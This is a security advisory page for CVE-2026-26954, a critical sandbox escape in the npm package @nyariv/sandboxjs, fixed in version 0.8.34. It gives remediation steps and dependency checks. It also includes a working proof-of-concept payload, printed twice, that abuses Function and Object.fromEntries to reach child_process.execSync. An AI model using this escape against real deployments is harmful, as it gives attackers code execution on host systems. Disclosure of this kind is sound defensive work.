CVE-2026-26954: @nyariv/sandboxjs SandboxJS Affected By A Sandbox Vulnerability

CRITICAL
Advisory Identifier: GHSA-6r9f-759j-hjgv
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CVSS 10.0
CWE-94
Published
Advisory Summary

CVE-2026-26954 is a CRITICAL (CVSS 10.0) sandboxjs affected by a sandbox vulnerability (CWE-94: Improper Control of Generation of Code ('Code Injection')) affecting @nyariv/sandboxjs libraries in the npm ecosystem. The issue involves sandboxjs affected by a sandbox escape. Remediation is available by upgrading affected packages to version 0.8.34.

CVE-2026-26954 at a Glance

CVE Identifier CVE-2026-26954
GHSA Identifier GHSA-6r9f-759j-hjgv
Severity CRITICAL
CVSS v3.1 Base Score 10.0
CWE Classification CWE-94: Improper Control of Generation of Code ('Code Injection')
Affected Product @nyariv/sandboxjs
Package Ecosystem npm
Published Date
Last Updated

Security Impact

CVSS: 10.0

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Changed (S:C)
Confidentiality High (C:H)
Integrity High (I:H)
Availability High (A:H)

How to Fix CVE-2026-26954

To remediate this vulnerability, upgrade all affected @nyariv/sandboxjs dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

@nyariv/sandboxjs fixed: 0.8.34 
npm install @nyariv/sandboxjs@0.8.34
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release: 

npm ls @nyariv/sandboxjs

How to Check if You Are Affected

To determine whether your Node.js application is affected by CVE-2026-26954, inspect your project dependencies using npm:

npm ls @nyariv/sandboxjs

Analyze the terminal output to locate any version of @nyariv/sandboxjs in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.8.34), your application is affected.

Note: The npm ls @nyariv/sandboxjs command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-94: Improper Control of Generation of Code ('Code Injection'), where the product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment. In @nyariv/sandboxjs, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary It is possible to obtain arrays containing `Function`, which allows escaping the sandbox. ### Details There are various ways to get an array containing `Function`, e.g. ```js Object.entries(this).at(1) // [ 'Function', [Function: Function] ] Object.values(this).slice(1, 2) // [ [Function: Function] ] ``` Given an array containing `Function`, and `Object.fromEntries`, it is possible to construct `{[p]: Function}` where `p` is any constructible property. This can be used to escape the sandbox. ### PoC ```js const s = require('.').default; const sb = new s(); payload = ` const p = (async function () {})(); ({ "finally": p.finally, ...Object.fromEntries([['then', ...Object.values(this).slice(1)]]), }).finally('a=process.getBuiltinModule("child_process").execSync("ls", {stdio: "inherit"})')(); `; sb.compile(payload)().run(); ``` ### Impact Sandbox Escape -> RCE

CVE-2026-26954 Affected @nyariv/sandboxjs Versions

1 component(s)
Fixed Versions:
0.8.34
Product / Package Ecosystem Affected Versions Fixed Version
@nyariv/sandboxjs
npm/@nyariv/sandboxjs
npm
< 0.8.34
0.8.34

References

GitHub Advisory / Wiki ADVISORY
https://github.com/nyariv/SandboxJS/security/advisories/GHSA-6r9f-759j-hjgv
NVD — CVE-2026-26954 NVD
https://nvd.nist.gov/vuln/detail/CVE-2026-26954
Security Fix Commit FIX COMMIT
https://github.com/nyariv/SandboxJS/commit/e01505b1ea49f4f13956cd12b7ce01b83d2ee085
@nyariv/sandboxjs Source Repository REPOSITORY
https://github.com/nyariv/SandboxJS
@nyariv/sandboxjs Release RELEASE
https://github.com/nyariv/SandboxJS/releases/tag/v0.8.34

Frequently Asked Questions

What is CVE-2026-26954?
CVE-2026-26954 is a security vulnerability in @nyariv/sandboxjs involving SandboxJS affected by a Sandbox Escape under CWE-94: Improper Control of Generation of Code ('Code Injection').
Which @nyariv/sandboxjs versions are affected?
Affected versions include releases prior to 0.8.34 across affected packages: @nyariv/sandboxjs.
What version fixes CVE-2026-26954?
Upgrading to 0.8.34 (or the latest patched release for your respective branch) resolves the vulnerability.
Is @nyariv/sandboxjs affected?
Yes, @nyariv/sandboxjs is affected in releases prior to 0.8.34. Upgrade your dependency to 0.8.34 or later.
What is the CVSS score of CVE-2026-26954?
CVE-2026-26954 has a CVSS v3.1 base score of 10.0 (CRITICAL) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H.
What CWE is associated with CVE-2026-26954?
CVE-2026-26954 is classified under CWE-94: Improper Control of Generation of Code ('Code Injection') (The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.).
How can I check npm dependencies for CVE-2026-26954?
Run the dependency tree command: 'npm ls @nyariv/sandboxjs'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
View Raw JSON 
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-6r9f-759j-hjgv",
  "modified" : "2026-03-16T17:05:26Z",
  "published" : "2026-03-13T13:46:08Z",
  "aliases" : [ "CVE-2026-26954" ],
  "summary" : "SandboxJS affected by a Sandbox Escape",
  "details" : "### Summary\n\nIt is possible to obtain arrays containing `Function`, which allows escaping the sandbox.\n\n### Details\n\nThere are various ways to get an array containing `Function`, e.g.\n\n```js\nObject.entries(this).at(1) // [ 'Function', [Function: Function] ]\nObject.values(this).slice(1, 2) // [ [Function: Function] ]\n```\n\nGiven an array containing `Function`, and  `Object.fromEntries`, it is possible to construct `{[p]: Function}` where `p` is any constructible property. This can be used to escape the sandbox.\n\n### PoC\n```js\nconst s = require('.').default;\nconst sb = new s();\n\npayload = `\nconst p = (async function () {})();\n({\n  \"finally\": p.finally,\n  ...Object.fromEntries([['then', ...Object.values(this).slice(1)]]),\n}).finally('a=process.getBuiltinModule(\"child_process\").execSync(\"ls\", {stdio: \"inherit\"})')();\n`;\n\nsb.compile(payload)().run();\n```\n\n### Impact\n\nSandbox Escape -> RCE",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "@nyariv/sandboxjs"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.8.34"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 0.8.33"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/nyariv/SandboxJS/security/advisories/GHSA-6r9f-759j-hjgv"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-26954"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/nyariv/SandboxJS/commit/e01505b1ea49f4f13956cd12b7ce01b83d2ee085"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/nyariv/SandboxJS"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/nyariv/SandboxJS/releases/tag/v0.8.34"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-94" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-03-13T13:46:08Z",
    "nvd_published_at" : "2026-03-13T19:54:31Z"
  }
}